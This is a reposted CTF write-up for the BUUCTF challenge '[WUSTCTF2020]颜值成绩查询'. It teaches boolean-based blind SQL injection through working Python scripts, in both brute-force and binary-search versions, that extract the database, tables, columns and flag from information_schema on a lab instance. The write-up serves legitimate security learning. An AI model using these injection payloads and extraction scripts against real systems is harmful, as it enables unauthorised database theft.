[WUSTCTF2020]颜值成绩查询 布尔注入二分法

news2024/11/28 5:29:39

这道题很简单 就是sql注入

我们来学习一下如何写盲注脚本

?stunum=1

?stunum=123

 

正确回显 100  错误 显示 not 。。。

这里很显然就是盲注了

我们来写个语句查询

if(ascii(substr(database(),1,1))>1,1,0)

发现回显了 我们可以开始编写脚本跑了

import requests
import time

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''

for i in range(1,200):   #位数
    for j in range(1,128):    #ascii码值
        payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
        r=requests.get(url=base_url+payload)
        if(r.status_code==429):   #设置睡眠
            time.sleep(0.5)
        if r"Hi admin, your score is: 100" in r.text:   #设置成功条件
            data+=chr(j)
            print(data)

database=ctf

接下来就是爆破表和字段了

if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),1,1))>1,1,0)

table_name=flag

回显了 就拿这个去咯

字段

if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),1,1)>1,1,0)

cloumn=flag,value

if(ascii(substr((select(group_concat(flag,value))from(ctf.flag)),1,1))>1,1,0)

最后的成品是这样

import requests
import time

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''

for i in range(1,200):   #位数
    for j in range(1,128):    #ascii码值
        payload = "if(ascii(substr(database(),{},1))={},1,0)".format(i,j)
        payload2 = 'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)="ctf"),{},1))={},1,0)'.format(i,j)
        payload3="if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))={},1,0)".format(i,j)
        payload4="if(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))={},1,0)".format(i,j)
        r=requests.get(url=base_url+payload4)
        if(r.status_code==429):   #设置睡眠
            time.sleep(0.5)
        if r"Hi admin, your score is: 100" in r.text:   #设置成功条件
            data+=chr(j)
            print(data)

但是很慢

我们使用二分法来写一遍

import requests

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''
payload="if(ascii(substr(database(),{},1))>{},1,0)"
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        payload1=payload.format(i,mid)
        r = requests.get(url=base_url+payload1)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 132):
        break
    data+=chr(mid)
    print(data)

爆破出数据库

最后脚本

import requests

base_url="http://6199a6c3-30ca-4b13-955a-23ee81146566.node4.buuoj.cn:81/?stunum="
data=''
payload="if(ascii(substr(database(),{},1))>{},1,0)"
payload2="if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{},1))>{},1,0)"
payload3="if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{},1,0)"
payload4="if(ascii(substr((select(group_concat(flag,'---',value))from(ctf.flag)),{},1))>{},1,0)"
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        payload1=payload4.format(i,mid)
        r = requests.get(url=base_url+payload1)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 132):
        break
    data+=chr(mid)
    print(data)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1042055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DeepMind 利用无监督学习开发 AlphaMissense,预测 7100 万种基因突变

类基因组共有 31.6 亿个碱基对&#xff0c;无时无刻不在经历复制、转录和翻译&#xff0c;也随时有着出错突变的风险。 错义突变是基因突变中的一种常见形式&#xff0c;然而人类目前只观察到了其中的一小部分&#xff0c;能够解读的更是只有 0.1%。 准确预测错义突变的作用&am…

Windows10/11显示文件扩展名 修改文件后缀名教程

前言 写这篇文章的原因是由于我分享的教程中的文件、安装包基本都是存在阿里云盘的&#xff0c;下载后需要改后缀名才能使用。 但是好多同学不会改。。 Windows 10 随便打开一个文件夹&#xff0c;在上方工具栏点击 “查看”点击 “查看” 后下方会显示更详细的工具栏然后点…

剪映软件专业版的操作与使用,电脑版与手机版APP同步讲解

一、教程描述 什么是剪映&#xff1f;抖音官方推出的一款视频编辑工具&#xff0c;用于短视频的剪辑制作和在线发布&#xff0c;主要在手机端使用&#xff0c;同时支持PC端&#xff0c;操作简单易上手&#xff0c;功能也十分强大&#xff0c;使用过剪映的用户&#xff0c;都将…

ViT细节与代码解读

最近看到两篇解读ViT很好的文章&#xff0c;备忘记录一下&#xff1a; 先理解细节 1&#xff1a;再读VIT&#xff0c;还有多少细节是你不知道的 再理解代码 1&#xff1a;ViT源码阅读-PyTorch - 知乎

此芯科技加入百度飞桨硬件生态共创计划,加速端侧AI生态布局

近日&#xff0c;此芯科技&#xff08;上海&#xff09;有限公司&#xff08;以下简称“此芯科技”&#xff09;与百度签署硬件生态共创计划合作协议&#xff0c;正式加入由百度发起的硬件生态共创计划。双方将共同推动端侧AI和大模型在个人计算、车载计算以及元宇宙计算等领域…

Spring中是否可以存在两个相同ID的bean

文章目录 一、在同一个xml配置文件里配置两个相同ID的bean结论验证过程源码 二、在不同xml配置文件里配置两个相同ID的bean结论验证过程源码 三、在同一个配置类中以Bean方式添加两个名称相同的bean结论验证过程源码 四、在不同配置类中以Bean方式添加两个名称相同的bean结论验…

基础设施建设-企业级全栈测试平台的最佳实践

QECon&#xff08;Quality Efficiency Conference&#xff09;质量效能大会在上海正式开幕&#xff01;本次大会以"数生智慧&#xff1a;高质量发展新引擎"为主题&#xff0c;深入探讨如何借助数字化和智能化技术推动软件质量的发展&#xff0c;为高质量经济发展提供…

华为云,让AI算力入山河

整个2023年&#xff0c;全球科技界都在为大模型沸腾。云计算产业作为AI大模型与产业场景间的最短路径&#xff0c;自然也在大模型浪潮中备受关注。目前阶段&#xff0c;云厂商已经纷纷入局大模型&#xff0c;从多个角度探索大模型带给云计算产业的可能性。 但我们往往会忽略这样…

【开发篇】八、SpringBoot整合MongoBD

文章目录 1、整合2、简单示例3、一点思考4、MongoDB的安装5、MongoDB的CRUD语法 1、整合 导入MongoBD的起步依赖&#xff1a;&#xff08;这个starter背后是MongoDB的驱动和其他依赖&#xff0c;在这儿也可以看出命名的规律&#xff0c;redis的就是spring-boot-starter-data-r…

【数据结构-图】并查集

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kuan 的首页,持续学…

接口测试主要测试哪方面?需要哪些技能?要怎么学习?

1、什么是接口测试&#xff1f; 定义&#xff1a;测试系统组件间接口的一种测试。主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点&#xff0c;重点是检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相互逻辑依赖关系等。 目的&#x…

选择合适的外贸公司邮箱注册服务提供商

随着全球化的发展&#xff0c;越来越多的企业开始涉足外贸领域。而在进行外贸业务时&#xff0c;邮箱是必不可少的工具之一。对于外贸公司来说&#xff0c;应该选择哪家邮箱服务提供商呢&#xff1f;口碑好安全性高的公司邮箱有Zoho Mail、阿里邮箱、腾讯邮箱、网易邮箱等。 首…

Spring cloud Sentinel介绍和安装

Sentinel介绍和安装 &#x1f308;初识Sentinel&#x1f308;安装Sentinel&#x1f320;docker 安装&#x1f320;下载sentinel镜像&#x1f320;启动sentinel镜像 &#x1f320;windows 安装&#x1f320;下载&#x1f320;运行 &#x1f320;sentinel访问 &#x1f308;微服务…

上海股票开户佣金最低是多少?怎么开万一账户!

上海股票开户佣金最低是多少&#xff1f;怎么开万一账户&#xff01; 股票开户是指向证券公司或经纪人申请开通股票交易账户的过程。开户时需要提供个人身份信息和相关资料&#xff0c;完成相关的申请、签署协议以及缴纳开户费用。开户后&#xff0c;投资者就可以在证券市场上…

8年测试老鸟总结,Python自动化测试实现思路(细致)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Python自动化测试…

NVM:切换node版本后无法使用npm全局包

1.新建文件夹npm_global和npm_cache 2.npm设置 npm config set prefix "C:\Users\18068\node\node_global" npm config set cache "C:\Users\18068\node\node_cache" 3.设置环境变量 新建NVM_PATH环境变量 选择缓存目录 编辑PATH环境变量 新建%NVM_PA…

睿趣科技:新手抖音开店卖什么产品好

抖音已经成为了一款年轻人热爱的社交媒体应用&#xff0c;同时也成为了一种全新的电商平台。对于新手来说&#xff0c;抖音开店卖什么产品是一个备受关注的问题。在这篇文章中&#xff0c;我们将探讨一些适合新手的产品选择&#xff0c;帮助他们在抖音上开店获得成功。 流行时尚…

docker自定义网络下 :不同容器的nginx通过容器名称相互访问PHP项目

场景&#xff1a;每个服务都有自己运行的一套环境&#xff0c;分别都有自己的nginx &#xff1b;我们像用A容器的Nginx 的项目访问到B容器下的nginx项目内容&#xff0c;并且在自定义的网络下面 首先我们可以自定义一个网络&#xff1a;docker默认桥接&#xff1a; docker ne…

03. Springboot集成Mybatis-flex(一)

目录 1、前言 2、MyBatis-Flex 是什么&#xff1f; 3、框架功能对比 4、性能对比 5、快速使用 5.1、Maven添加依赖 5.2、数据源配置 5.3、创建实体类和表 5.4、创建Dao 5.5、创建Service 5.6、创建Controller接口测试 5.7、测试结果 6、小结 1、前言 现在主流的M…

git报错:git Permission denied, please try again.

1 问题描述: git clone/pull代码时提示输入密码,密码输入正确但是报错:git Permission denied, please try again. 2 解决方案: step1 检查SSH Key是否存在#cd ~/.ssh #lsstep2 获取SSH Key如果存在id_rsa.pub 或 id_dsa.pub 文件,跳过此步。 如果不存在,则生成: 先查…